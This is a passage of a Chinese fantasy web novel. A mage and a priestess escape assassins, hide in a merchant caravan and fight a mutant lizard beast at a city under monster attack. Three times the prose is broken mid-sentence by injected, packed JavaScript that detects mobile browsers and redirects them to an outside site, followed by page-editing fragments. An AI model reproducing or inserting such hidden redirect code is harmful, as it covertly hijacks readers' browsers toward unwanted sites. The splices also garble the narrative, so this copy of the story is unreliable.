“植物元素的魔法,难怪,使用这个魔法可太好隐蔽了。” 阿纳托利一边在防御领域内直起身,一边观察周围。 藤蔓包裹的速度比他想象得还要快,已经包裹了一半了,他透过缝隙看到了不远处站着一个黑影。 “露比,我找到施法人了,我的正前方开一个十厘米左右的口,时间为三秒钟。” “你别随便提这么难的需求啊!” 露比骂道,同时快速调整防御模式,阿纳托利看着眼前的结界如水一般波动了一下,抓住时机,抬手发动了一起攻击。 银色光芒如同穿过水一般,透过防御结界、穿过藤蔓,直冲那位躲在暗处的操作者,可惜没有打中要害,只是打在了他的腿上,他很快地爬起来了。 藤蔓也灵敏地发现了防御薄弱的地方,很快冲着这个小口扑过来,但只是徒劳地拍打在了坚硬的结界上。 “呼……还好赶上了。”露比忍不住为刚才的冒险举动捏了一把汗。 “没打死外面的人?” “没有,而且我估计他还有其他同伙,这里不止一种魔力的波动。” 话音刚落,已经包裹住防御结界的藤蔓猛然收紧,上面的倒刺竟然隐隐有刺入的可能性。 “露比,不能坐以待毙,有没有其他办法应对,等这些藤蔓完全缠上限制了行动,咱们可就只能打消耗战了。” “在调了,在调了!” 露比飞快地变换着悬浮在她面前的外壳顺序,阿纳托利总觉得自己似乎看错了,总觉得这个漂浮着的外壳很像乌龟。 “好啦!不过可能要委屈你一下了。” 还没有等阿纳托利回过味来,露比那个同情的眼神是什么意思。球状的防御领域就如同有生命一般旋转起来,并从藤蔓的包围中弹了出去,然后重重地摔在了地上。 手中抓着核心,悬浮于领域中心的露比倒是毫发无伤,但一直呆在领域地面的阿纳托利则跟随领域好好地做了几圈整体运动。 还没有等他抱怨两声,领域再次滚了起来,并以这样的形态朝前方滚去。 “……” 终于腾出手的露比,这才把悬浮的范围扩大到能够包裹阿纳托利。 终于安稳的阿纳托利这才充满怨气地问 “谁开发的这类装置。” “我和另一个你不认识的人。” “能不能考虑一下使用者的舒适度。” “下次一定。” “这个是以什么魔兽为原型的?” “乌龟和屎壳郎。” “……” 在沉默良久后,阿纳托利诚恳点评, “你够疯!你比斯捷潘还要疯!我之前给他说搞个正常的大门,他不知道搞了什么魔兽的眼睛装进去,什么虫子、蛇类我都忍了,你更厉害,还屎壳郎……” “只是逃生模式有借鉴推粪球啦……” “谢谢,我不感兴趣。” 阿纳托利没好气地打断了她, “你们研究仿生魔导器的魔法师都是疯子!” 14. 变更路线 防御装置以极快地速度滚出了暗杀者的封锁,露比操作这个装置狂奔了近两小时,直到魔力告罄才停了下来。 “我滚到极限了,这里应该安全了。” 她的声音似乎都有些颤抖。 “没问题了,我沿途布置了隐匿的结界,高阶法师找过来至少要半天时间,暂时不用担心。” “行,那我关掉装置,再这么开着我得被抽干。” 说罢,露比前方漂浮着散开的“龟甲”碎片随着她双手的合拢而依次聚集,外围的防御结界似乎也像水一般流动起来,逐渐分为团状的能量球,并不断缩小,附着在了飞舞的碎片上。 碎片拖着金色的光芒旋转着,最终在露比的手掌中汇聚成了鸡蛋大小的球体。 “这个不是一次性的装置?” “南部的中阶魔兽数量没有北方多,因此不同于泰西防线可以用魔兽核心直接作为一次性能源,我们这边只能选择人工充能的模式。” “以高阶魔兽为骨架开发出工具模型,用魔法师的魔力来作为能源。” “是的,但这种方式也有缺陷是。它威力的发挥太依靠使用者的魔力强度。就普及性和便捷性而言,斯捷潘的作品思路会更加优秀。” “不要妄自菲薄,循环使用、能耗节约是相当优秀的特质,如果斯捷潘能够亲眼看到你的作品一定会非常惊喜,没准你们能合作开启一个全新的作品。” “感谢识货,就当您替他答应日后作品挂我名了。” 露比朗然笑道。 “现在有个更棘手的问题需要处理,我尊敬的人质先生,”她抓着脑袋仰头看向逐渐升起的太阳, “魔导车被毁了,我的魔力已经耗尽,您伤还没好,而且魔锁会限制你的魔力调动。 “但刚才我攻击那个黑影,以及使用隐匿魔法的时候并没有受到影响。” “从你带上魔锁起,它就生效了,你可以调动大概六成魔力,如果钥匙持有人有意识控制,你会变成一个没有一点魔力的废人。” “……这么重要的事,你为什么现在才说。” 阿纳托利瞥了她一眼,露比有些心虚。 “我之前没说完,你就……自己很配合地戴了啊。” 她支支吾吾地解释。 阿纳托利叹了口气,懒得再和她掰扯这个问题。 “你们准备了防御装置,都想到了袭击,就没有备用交通工具?” “唔……本来按计划,防御装置是会直接包裹整个马车,单单只负责外部防御,我的能量也足够支持马车跑到目的地的,但狗知道他们的攻击发动的速度太快了,完全来不及覆盖交通工具。” “那看来我们现在只能……” “对,走着去了……” 说出了这个选择,二人都陷入了短暂的沉默。 “但走路一定来不及。你会被教会踹出去,而我会因为没有按期前往,被扣上不敬教皇的帽子。” 阿纳托利的脸色越发冷峻。 “问题没那么严重啦,我们只用走到下一个封地的神殿……。” “不行,不能确定是不是教会内部的人想除掉我,在没有查明是谁前,求助地方神官风险太大。” 他的脸色完全沉了下去。 “但是下一个辖区就是东区范围了,负责人是莱安娜主教,她对北方事务一向中立,去那里按理会比较安全。” 阿纳托利没有马上给她答复,只是捏紧了剑柄,拇指在末端镶嵌的石头上来回摩挲,表情严肃。 “所以还是没法放心吗?” 露比试探道。 “不,东区确实相对安全,我们去。” 沉默良久后他仿佛终于下定决心, “但我们不去神殿,我们去找那里最大的商会。” “你怀疑莱安娜主教也有插手的可能?” “不是,我相信莱安娜和这些事无关,这也不是她的行事风格,但现在她受召留在圣都,并不在辖区,她不可能保证每一位神官都没有异心,这个险我们不能冒。” “行,但是商会怎么会帮我们?” “我恰好在商会有个熟人。” 露比半信半疑地跟着阿纳托利来到八音盒商会。她套上了厚重的披风,将神官的白袍遮得严严实实,阿纳托利从开始就穿了一身游侠风格的常服,在经过追杀后两人看着多了几分狼狈,一眼看上去就是再常见不过的旅者,因此一路没有引起什么注意。 “你在这里等我一下。” 阿纳托利将露比留在了等候区域,然后径直走向了柜台的工作人员,露比看他不知道对工作人员说了什么,并塞给了工作人员一个圆形的物件。 工作人员若有所思,迟疑一会儿后,捧着那个物件上了楼。 不久后,便下来示意阿纳托利上去。 露比正准备跟过去。 但被阿纳托利的眼神制止了,便很懂眼色地留在了等候区。 阿纳托利跟随工作人员走上了二楼,来到了走廊尽头的通讯室。 “这位客人,此处就是我们的通讯室了,已经为您接通了副会长的影像,您可以单独进去,我们会在门口等候,如果有需要随时叫我们。” “有劳。” “您客气了。” 工作人员一边说着一边拉开了门。 阿纳托利刚刚走进去,门就关上了,这个房间应该布置了隔音的魔法阵,安静得有些可怕。 圆桌对面已经投影出了一位面容姣好的年轻女性,她的穿着简约稳重,一头金桔色卷发也一丝不苟的盘起,但是脸蛋却生得格外可爱圆润,面颊有着一团健康的红晕,带着如少女般甜美的笑容。 “没想到这么快就主动联系我了。” “这不是走投无路了吗。” 他脸上带着苦笑,拉了把椅子坐下了,他记得自己这位老朋友话很多。 “瞧您说的,哪有那么狼狈。” 她托着下巴,笑盈盈地看着他,阿纳托利甚至感觉有些害怕,这人笑起来准没有好事。 “欢迎您回到南方,现在我是您身边唯一的老朋友吗?” 明明是带着笑意的问候,背后的含义可不友善,作为商会的副会长,萝丝消息灵通,自然早就知道自己会和露比同行,这个“唯一”就很意味深长了。 阿纳托利眉头紧锁,不痛不痒地刺了她一句。 “你真是一点没变,总喜欢反复确认已经有答案的问题,似乎这会给你带来别样的乐趣?” “您不也和过去一样吗?一点幽默细胞都没有。” 她撅起了嘴,说话的时候明显带着几分嫌弃。 “我当然知道这次的使者是露比小姐,你会和她同行,但我总要确认下她还活着吧?” “长得这么漂亮,嘴巴却这么恶毒,也不看在露比是你同窗后辈的份上积积口德。” “我说的是合理怀疑,毕竟要是一路顺利,你也不会来这里求我了。” 她撑着下巴,笑得愈发灿烂。 “她还活着。” “哦呼!好消息呢。” 萝丝眯着眼睛很捧场地鼓起了掌。 “别在那里自我表演了,送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046834|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我和露比去圣都。” “你这算什么求人的语气,我不干。” 她环抱双手往后面的椅子一靠,因为本体动作太大,阿纳托利眼前的影像甚至都出现了一丝晃动。 “那……求求世界上最仁慈宽容、乐于助人、美丽善良的萝丝·潘德拉切尔小姐帮帮我们。” 他终究是没有拗过这位大小姐的要求,面带微笑地说了。 “这还差不多。” 萝丝满意地点了点头,天真可人的笑容又再一次浮现在她的脸庞。 “我不明白,你什么德性我们一清二楚,之前泰西防线还有其他工程的建材单子你都处理得这么好,何苦要在言语上和我们这些老朋友耍小性子?” “因为适当地任性可以让人保持年轻哦……另外就是……你真的很无趣,要不是你那张脸还凑合着能看,我都不想和你说话,你怎么就不是个哑巴呢?” 萝丝摆了摆脑袋。 “你们的事情我稍后会安排好的,门口的工作人员杰佛瑞会带你们去坐前往圣都的车。” “感激不尽。” 他朝着影像微微鞠躬。 “不必客气,商会还需要你活着,我们也不想少了泰西防线这个大客户,你尽力让我再多看到点你的价值吧。” “我的荣幸。” “对了,别忘了去了圣都,代我向莱安娜问好。” 她最后倒是露出了一个难得的自然笑容。 但阿纳托利的脸色倒是有些不太好看了。 “我尽力。” 话一说出口,阿纳托利觉得有些奇怪,萝丝和莱安娜在过去关系极好,她本人就在圣都为何还要自己代为问好呢? 而萝丝也觉察出了阿纳托利表情的异样,她率先发问。 “我记得阿纳托利你那时候和莱安娜关系挺不错的,怎么是这副表情,我错过了什么事情?” “只是我们太久没有联系有些生疏罢了。”阿纳托利急忙敷衍起来。 “你是不是······” 萝丝还想问点什么,不想再被这位大小姐八卦的阿纳托利也没有心思探究萝丝的异常了,迅速断开了投影,然后松了口气。 露比在楼下等得百无聊赖,直到阿纳托利出现在楼梯口招手,示意她过去。 “事情已经妥了。” “这么快?” 露比对此半信半疑。 “今天傍晚,商会有车队会前往圣都,不出意外的话一周就能到。” “安全吗?” “只能说相对安全,他们会走沿着涅伯恩城区的路,先到布伦城区的布鲁城再转到圣城。” “等等……布伦城区的布鲁城。” “对,就是那个最近爆发五级魔兽潮的城市,但不算太严重,只是需要增加物资。按常理,面对魔兽潮,中央教廷会调派附近城区的位神官过去,或者钦点一位神官统领骑士团前往支援,民间自然也不会坐以待毙,可能会向雇佣兵团求救。” “所以我们是要混在送物资的商队里,然后放下物资立刻离开。” “对,我们的商队会和雇佣兵一同出发,路上会有人保护我们的安全,不用出手自然也不用担心暴露;而且那群暗杀者不可能想到我们会去魔兽潮爆发区域,按常理说魔兽潮是最需要避开的。” “我明白了。” 在明确了计划之后的两人在傍晚五点的时候,和商会一起出发了,马队逐渐消失在了夕阳与大地的交界处,无处安放的一泼红色吞没。 阿纳托利二人和商队一起度过了一个平安的夜晚。 15. 意外 阿纳托利他们已经在新路线上前进时,北方斯诺兰德核心区的伊莉雅却彻夜难眠。 叶夫根尼醒来时,身旁空无一人,他把手放上去,被褥还是温暖的。 他抓起身旁的毯子径直走向卧室外的书房,书房半掩着的门扉透着微光。伊莉雅正站在书桌前俯身看着那张详细的地域图,眉头紧锁。 叶夫根尼推门而入。 “出什么事了?您这般苦恼。” 伊莉雅没有回答他的问题,仍然目不转睛地盯着那张地图,叶夫根尼朝她走进,才看到地图旁还有两封信。 “难道是夜荆棘的密函?” 叶夫根尼心想。 直到他将毯子披在伊莉雅肩上,她才回过神来。 “我又出神了,抱歉亲爱的,我没想吵醒你的。” 她有些苦恼地扶上了额头。 叶夫根尼搂住了她的腰,抚上了她的脑袋,伊莉雅顺势倒在了对方的怀抱里。 “您公务繁忙,但应该爱惜自己的身体,至少下次要记得披毯子。” “好。” 伊莉雅一边答应着他,一边伸出手拖住了对方的下巴,吻了上去。 新婚的恋人们总是难舍难分,但伊莉雅并没有沉溺在温柔乡太久,在漫长的拥吻之后,她相当果断地避免了下一步的发生。 “抱歉叶夫根尼,我今天还有工作。” 她的语气有些心虚,毕竟是她先挑起的这个吻。但叶夫根尼面色平静,只是无奈地笑了笑,仿佛对她这种擅自开始擅自结束的行为习以为常。 “所以到底是什么工作让您对我如此冷落?” 他用着开玩笑般的语气一面说着,一面从伊莉雅身后抱住她,将脸埋到了她的颈窝。 伊莉雅知道这是他撒娇的一种方式,摸了摸他的脑袋。 “是和我哥哥有关的事情……” 她的目光变得幽深,连抚摸叶夫根尼的头的频率都变慢了。 叶夫根尼敏锐地察觉到了她的情绪,松开了拥抱。 他坐到了伊莉雅身旁的椅子上。 “阿纳托利团长能力出众、而且为北地立下的功劳良多,现在已经为了协调南北关系前往南方,与他相关的事情都会顺利解决的,您为何如此担忧?” “对啊,大家都知道他为北地付出良多,能力出众……连你也不例外。” 伊莉雅笑着说道,察觉到她心思的叶夫根尼连忙补充。 “阿纳托利团长最让我敬佩的一点不是能力,而是他对北方的忠诚。” 他语气格外诚恳。 伊莉雅瞥了他一眼。 “是对北方的忠诚,还是对我的呢?” “您代表了北方,您就是北方的意志。” 叶夫根尼点头回答道。 “不,叶夫根尼,你不明白,这不一样。” 她有些失落地摇了摇头。 “我知道我哥哥过去为我做的一切,他的妥协他的牺牲我都看在眼里,但是他从不是对我效忠,他只是对北方效忠。” 她叹了口气,将信纸递给了叶夫根尼,叶夫根尼得到阅读的准许后开始快速浏览。伊莉雅继续说道。 “夜荆棘密报,泰西防线本该控制起来的两个教会的监视官,竟然被他正式编入了探测部队,开始执行魔兽探测任务,这是干什么?教会北方一家亲?” 伊莉雅语气越发尖锐,叶夫根尼只得努力安抚她的情绪。 “我看了,那只是两个半大的孩子而已,阿纳托利团长一向仁慈……” “仁慈?孩子?那是南方教会插到防线里的刀,他就这么从善如流地收编了算什么态度?他早年在南方的时候就和那群南方的魔法师走得格外近……我一直反对他任命那个叫海姆的南方人当泰西防线的临时负责人……” “冷静,亲爱的。” 叶夫根尼笑着打断了她。 “所以您是担心南方人海姆和那些新加入的南方神官们对泰西防线有不利,您担心阿纳托利团长有投靠南方的心思?” 他试探道。 “不……那倒不是,哥哥不会背叛北方的,这一点上无需怀疑……但是海姆那些人我一个都不信!我不满的是哥哥太信任他们了。” 她拈起信件,将信纸扔进了壁炉中。 “那该怎么做呢?怎样才能让我的伊莉雅开心起来呢?” 叶夫根尼托着下巴笑着望向她。 “要是有个人能够完全站在我这边,而不是出于什么大义、什么立场就好了……我的哥哥只是在想北方需要什么?他从没真正理解过我想要什么……” 她叹了口气。 “但连他也不在泰西防线,如果他在我还能安心一些,我需要一个人去泰西防线担任监视官,泰西防线必须彻底控制在我的手中,不然之后的南北战争将会有巨大的隐患。” “我理解,但是您想好派谁去了吗?” 伊莉雅没有说话,歪着头意味深长地看着他。 ……… 车队在朝着目的地出发时,阿纳托利和队长进行了简单的交流。队长只是在执行上级的指令,对阿纳托利和露比了解并不多,并且有着多年中介经验的他深谙少说少错的处世哲学,两人只是简单交流了下行程计划、途径要送物资的魔兽潮城区灾情在五级左右,除此以外,队长连他的名字都没有问。 整支车队带着物资快速前进,因为急着赶路,除了刚开始的一小段路外,大家交流得并不多,这倒是方便了中途被塞进队伍的露比和阿纳托利,省了他俩编故事的功夫。 商队的马是北方培育的良种,他们只走了一天,终于在第二个黄昏看到了布鲁城的城墙。 阿纳托利打马至露比身侧,递给她一张暗红色丝巾。 “我从后备货物里找到的,马上就到城区了,你遮一下脸。” 布鲁城在西二区,虽说是维克多主教的辖区,但和露比负责的奥兰多辖区很接近,作为神官说不定和这里部分工作人员有过一面之缘,哪怕没有,此事结束后在圣都也不是没有打照面的可能性,确实越谨慎越好。 露比愣了一下,随后接过丝巾,围绕脸在脑后系了个死结,将大半张脸遮得严严实实。 “感谢提醒。” “不客气,如果觉得不够保险,我还可以在你脸上施加一个改变面容的魔法。” “没想到你还会这些旁门左道?” 露比有些惊讶,毕竟易容术这种应用魔法一般都是走南闯北的通缉犯在用。 “我能从你们教廷那个魔窟出来,保命的技巧当年学得可不少,而且除了改变面容的幻术,我还有个更厉害的道具,是从北方遗迹找到的,能够完美地给你换脸,你到底用不用?” “不必了,我觉得丝巾够了。” 露比有些尴尬地笑了笑,改变面容的魔法虽说方便,但是传闻在使用的时候,脸会经历如同撕裂一般的疼痛,并且假脸的美观程度和施术者的技艺息息相关,最恐怖的是每张脸的术式略有差异,如果施术者忘记了对应的术式,这张假脸至少也要三个月才会自动消散。 她打量了下阿纳托利的穿着,不太信任阿纳托利的审美。而且也不知道这个魔导师的魔法技艺是否稳定。要是让她顶着一张臭脸回圣都三个月,女神在上,那是真正的“丢脸”了。 而关于他的道具,露比还没有胆子让他用覆灭古国的老古董在自己脸上施法。 阿纳托利虽然不明白露比为何不选择更保险的方案,但想来丝巾也够用了。 “除了脸,我在进城后再去找马队队长借一副盔甲,保证万无一失。” 他说罢便打马上前去找队长攀谈,队长不知道和他说了什么,他一个人脱离小队跑到了前面去。 露比看着这人远去的背影。 “还挺有偶像包袱的······” 她暗戳戳地吐槽。 等车队顺利通过了检查进入城内,露比也没看到这人的影子,就在她左右张望时,身后突然传来了声音。 “露比。” 她扭头看去,那是一个裹着严严实实盔甲的守卫,他抬起头盔的覆面,露出那双锐利的灰色眼睛。 “阿纳托利!” 露比绕着他上下打量一番, “啧啧啧……真厉害啊,完全认不出来了。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046835|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们俩只要在这里待半天,等物资登记完成,车队就会走另一条路去圣都,以我们这幅样子,一定安全。” 两人牵着马闲聊起来,准备去城区外围的小店吃个便饭时,上空传来一阵巨响。 “小心!” 不少落石飞来,露比快速展开防御魔法,挡住了从天而降砸向他俩的碎石。 “这是?” 她和阿纳托利抬头看去,城门上的望台被砸出一个洞,而两人正在城墙边上,这就遭殃了。 “是魔兽!” 阿纳托利和她脸色都黑了下去,二人朝城门赶去。 “我去疏散人员,防止落石。” 露比说道 “我去防御墙上支援一下。” 两人交换了一下分工,阿纳托利便冲上了城楼顶上。 一只蜥蜴形态的魔兽正趴在城墙上的瞭望台的柱子上,大概有六米长,猩红色的眼睛鼓溜溜地打量着眼前的守卫,尾巴左右扫荡,上面还带着球状肉锤,上面覆盖有坚硬的鳞甲,看来刚才的碎石想必就是这个尾锤造成的。 守卫们围着这只魔物,为后侧的魔导师施展拘束魔法争取时间,但魔物可不会坐以待毙。 那只怪物突然咧嘴,舌头就如一条长蛇般弹了出来,径直卷向了魔导师。 “欧文,小心!” 一个守卫冲了过去,用大剑格挡,但舌头转而向下,挽住了他的脚踝,将这人直接一甩,撞翻几个守卫后朝怪物拉去。 强烈的碰撞和失重让守卫陷入短暂的大脑空白,等他反应过来已经离怪物的嘴巴越来越近,还能闻到那股魔物特有的腥气。 “约翰,拉住不要放手。” 名叫欧文的魔导师冲过来拉住了他,另一个守卫着手砍击魔物的舌头。 “长官……这东西砍不动。” “该死……其他人员继续围歼,注意闪避。” 其他守卫趁着这魔物的舌头在守卫身上,拿着长矛朝魔物逼近。 这怪物似乎反应过来了人们的意图,甩起了它那极富有攻击性的尾巴,它似乎对自己的尾巴和鳞甲很自信,到现在都没有松开它的舌头。 守卫们再次散开,但不幸的是,有两位避闪不及的人被攻击到,击飞到了后方。 阿纳托利冲出楼梯看到此景,提着长剑就大步上前。 他利落地竖劈,银色长剑斩断了魔物的舌头。 守卫只觉得自己脚下一松,因为惯性扑向了欧文魔导师,好在欧文反应很快,扶住了他。 “那人是谁啊?是守备军的人?” “我看不像,可能是雇佣兵。” 欧文盯着已经逼近魔物的阿纳托利,他踩着落下的碎石一跃,躲过了魔物的扫击,并借机斩断了魔物带有肉锤的尾巴。 “好强!他怎么就和砍瓜切菜一样?” “他和我一样,应该是魔导师……但他的魔力精度、强度都很可怕。” 阿纳托利在看到肉锤滚落后,并没有斩下怪物的头颅,而是直接追上这个身体碎片,竟然把后背晾给了魔物,它仿佛意识到这是个机会,朝着阿纳托利咧着嘴爬过去。 “怎么不补刀啊!” 欧文心中警铃大作,好在拘束魔法已经完成,他瞬间开启法阵,魔物的身躯笼罩在光幕中,被控制住。 但随着阿纳托利那把银色长剑贯穿魔物的尾锤,在光幕中的身体竟然停止了挣扎,径直瘫软在了地上。 “这是怎么回事······” 欧文看着空空如也的光幕,非常困惑。 “这是蜥蜴魔兽的变异体,一般情况下,变异魔兽的要害都会发生变化,不会在大脑和心脏这些常规位置。” 阿纳托利一边把剑从尾锤中拔了出来,提溜着尾锤走了过来,简短地解释了一下原因。 “我叫欧文·暮恩,布伦城区布鲁城守卫队长,感谢您刚才的出手帮助。” 身着灰色制服的欧文向阿纳托利伸出了手。 “尼基塔·伊万诺维奇,商会雇佣兵,举手之劳不足挂齿。” 阿纳托利编了一个非常普通的北地人的名字,和这位队长友善地握了握手。 16. 友谊开端 欧文看上去要年轻些,阿纳托利估摸着他和自己的年纪差不多大,他有着和身形不太相符的脸蛋,看着是个强硬的战士,但却有一张富有亲和力的圆脸,笑容有些腼腆;不同于欧文,约翰则是个看着精干,笑容爽朗的中年人,黑色的眼睛十分有神。 两人言语间相当随和,阿纳托利便攀谈了起来。 “我随商队来的时候就听说了这里半月前爆发了魔兽潮,这里最近都这样吗?” 阿纳托利一边说着一边整理着自己的盔甲,就仿佛漫不经心的闲聊一般。 “最近的魔兽袭击频率确实变高了,但好在有主教留下的结界,如果只是四级以下的魔物,人多力量大嘛,我们还能应付的。最近的情况我们已经报给了领主,最好中央教廷能够任命一位魔法师,毕竟您也看到了,我们一般的魔导师要对付刚才那种魔兽还是有些吃力。” “是的,刚才那只怪物的外壳太坚硬了,破它防御的那两击耗费了我不少魔力,要是有个攻击型魔法师在这里,想必大家的日子都好过。” “谁说不是呢?魔法师和魔导师在魔力上有天壤之别,有大范围魔法的加持,我们的损失也会小很多。” 欧文苦笑着,无可奈何地摇摇头。 “听您这么说,该地区的直属神官从来没有过来视察过情况?” “不,她也来过,不过来了也帮不上什么忙。分管我们地区的神官主修的是治疗系的魔法,对付不了魔兽,而且不少城镇也都有魔兽潮,医生、治愈系的神官也完全不够用……她也忙得分身乏术。” “原来如此,如果是人手不足,那向教廷申请神官支援真的迫在眉睫……” 就在二人还在闲聊的时候,约翰笑着加入其中。 “朋友们,我说咱们能不能不要在这里干站着聊,”他的脸上浮现出一抹爽快的笑容,随后轻拍阿纳托利的肩膀。 “您刚才救了我的命,不然我说不定已经被那怪物咬成两截了。我也没什么可报答您的,不如一起吃午饭?我知道布鲁城最好的餐厅在哪里。” 阿纳托利对他的盛情邀请倒是有些吃惊,举手之劳蹭别人一顿饭似乎有些不太好,但是转念一想,刚才的闲聊并没有获取太多有用信息,不如借这个机会再多了解一些布鲁城的情报。 便厚着脸皮应下了。 “好的,感谢您,但是我还有一位同伴在下面帮忙疏散,防御落石,不知道是否可以……” “当然可以!您是我的恩人,您的朋友就是我的朋友。” 约翰一边说着,目光越发热切,甚至让阿纳托利有些不好意思。 “喂,约翰,刚才我也拉了你一把,你难道不该请我也喝一杯。” 欧文趁机打趣道。 “得了吧,我可是守城军里剑术最好的战士,没了我你一个脆弱的魔导师可怎么办……” 几人闲聊着走下城墙,然后走在前面的欧文停下了脚步, “尼基塔,我说,你朋友是不是有一头红色的头发。” “你怎么知道。” “我们本地的女士没有如此……特立独行的发型?” 然后阿纳托利远远看到了已经完成了协助疏散防御工作,坐在公共“椅子”上的露比。 “椅子”是个废弃的酒桶,或许因为刚才落石带来的气流太大,露比的头发几乎炸开,头发蓬松的露比坐在酒桶上就像是一朵红盖棕杆的菌子,有些滑稽,而且正好在告示栏正下方,扎眼得紧。 他走过去轻踢了下那个桶,露比回过神来。 “魔兽解决了?这是?” 露比困惑地打量着阿纳托利身后的两人,但这俩人的眼神相当惊讶,仿佛看到了什么奇异的东西。 “这位是守卫队长欧文,另一位是这里最好的战士约翰,对吧,约翰?” “那是当然的,可不是我吹嘘。” 他带着自信的笑容,骄傲地插起了腰。阿纳托利忍俊不禁,对着露比说。 “你也介绍一下自己。” “爱玛·莱依,隶属雇商会的魔法师,擅长防御型魔法和魔导器维修。很高兴能够认识两位。” “天呐,竟然是魔法师,如果刚才您在上面,我们对付魔兽都要轻松很多!” “那恐怕需要控制型法师,我只会单体攻击,还有防御,我的这位朋友才是对付魔兽的高手。” 露比笑着看向阿纳托利。 “确实,尼基塔刚才对付那只魔兽可利落了,要不是他我可能就交代在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046836|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面了。” 约翰说罢似乎仍然有些心有余悸,而露比听到此处朝阿纳托利看去,示意自己已经记住了他的新名字,阿纳托利朝她轻轻点头。 “为了感谢尼基塔先生的救命之恩,以及女士您的协助工作,中午这顿饭我请客!” “天呐!”露比跳下了木桶,感激地看着约翰。“您真是太慷慨了,请您务必推荐我们去一家好吃的餐厅,这一路上我可都没吃什么像样的东西。” “太客气了,这位女士,刚才在上面可是尼基塔救了我的命,您在下面帮忙疏散和防御,我理应款待两位。” 三人跟随约翰来到了一家并不算大的餐馆。门牌设计得很别致,竟然是用木头雕刻的,上面有许多童趣的装饰,一只小兔子牵着小熊和绵羊。 “兔子餐厅?” 露比扑哧一声笑出声来。 “别觉得幼稚,这位小姐,这家店可是布鲁城数一数二的呢!” 约翰一边说着一边推开了门,虽然店面并不宽敞,但麻雀虽小五脏俱全,除了大厅开放环境的零星餐桌,露比注意到用木头扎进墙壁来构成的楼梯。这个餐厅应该还有个小阁楼,或许是包厢。整栋建筑修在一棵树的旁边,店主并没有将树木截断,而是放任它在高处探头探脑,低处的树干被留下树皮,掏空一半,做了一个小吧台。 阿纳托利环视四周,观察着店铺的陈设和来往的客人,一个小女孩从他旁边经过,那女孩儿不知道为什么停下了脚步,突然抬头盯着他看了几秒钟,才埋头继续前进。 浅褐色的头发,水蓝色的眼睛,衣着整洁精致,但身边却没有大人。 她走到门口附近的一张小桌子前背对着众人坐下。 阿纳托利停下脚步,觉得这个孩子有些奇怪。 “怎么了?尼基塔。” 露比拍了拍他的肩膀,她刚才没有看见这个孩子。 “那孩子有些奇怪,她的父母呢,怎么会一个人行动。” 阿纳托利指了那孩子的背影,露比觉得有点眼熟。 “别担心,估计只是贪玩儿跑出来的,孩子嘛。而且我们餐厅很安全,她不会有事的,没想到尼基塔一个雇佣兵心思这么细腻。” 约翰笑着看说道。 17. 无法离开 他们落座后,忙成陀螺的店员还没有功夫转到他们面前。 约翰可不准备等了,他冲端着盘子的店员大声打着招呼。 “格蕾丝!快点把菜单拿过来!” 格蕾丝回头看见了约翰,这位如同野苹果般健康活力的女孩子咧嘴笑了起来,棕色的眼睛眯成了一条缝。 “约翰叔叔!你怎么今天下班下得这么早,等我一下,我把这桌收拾了,清理好就给你们拿菜单。” 露比看着格蕾丝端着两摞陶瓷盘子,上面还有些牛骨之类的食物残渣,她矫健平稳地穿梭在密集的桌椅之间,棕色辫子随着她的动作,有节奏地拍打在小麦色的后颈上。她的手很稳,盘子没有一点晃动,此刻的工作仿佛是属于这个少女的舞蹈。 不久她就拿着一摞菜单来到了众人的面前,格蕾丝身形高挑健美,有一张像鹅蛋一般圆润饱满的脸蛋,此刻她大方地笑着,脸颊的红晕衬得这位姑娘更加迷人,她的热情仿佛能透过那双富有生气的棕色眼睛和极有感染力的笑容传递给每一位客人。 “客人们,你们是约翰叔叔的新朋友吗?我之前没有见过各位?另外,各位很幸运,今天中午有特色树莓派哦。” 她一面将菜单递给众人,一面大方礼貌地询问。 “对,他们可是我的救命恩人,这个可说来话……” “打住!约翰叔叔。”她马上制止了约翰讲故事的行为。 “我还在工作呢!故事留着下午再说!您每次都要扯半个钟头”她略带不满地撇了撇嘴,随后似乎想起了自己还在工作,又收起了不满的表情,客气认真地询问记录了每一位客人的要点的菜品和口味,然后风风火火地冲回了厨房门口。 “瞧瞧,布鲁城最急性子的小姑娘非她莫属。” 约翰嘟囔着。 “这能怪人家小姑娘嘛,还不是你太啰嗦了,人家现在正在忙头上呢。” 欧文一边摇头一边摆出深受其害的表情。 “主要是这里的生意太热闹了。”阿纳托利笑着圆场,他环视坐得满满当当的小店,仿佛不经意间的自言自语。 “好奇怪啊······” “怎么了?尼基塔。”观察细致的欧文听到了。 “没事,就是觉得这里有些太热闹了,而且完全没有物资短缺的感觉,但这里不是魔兽潮的灾区吗?” 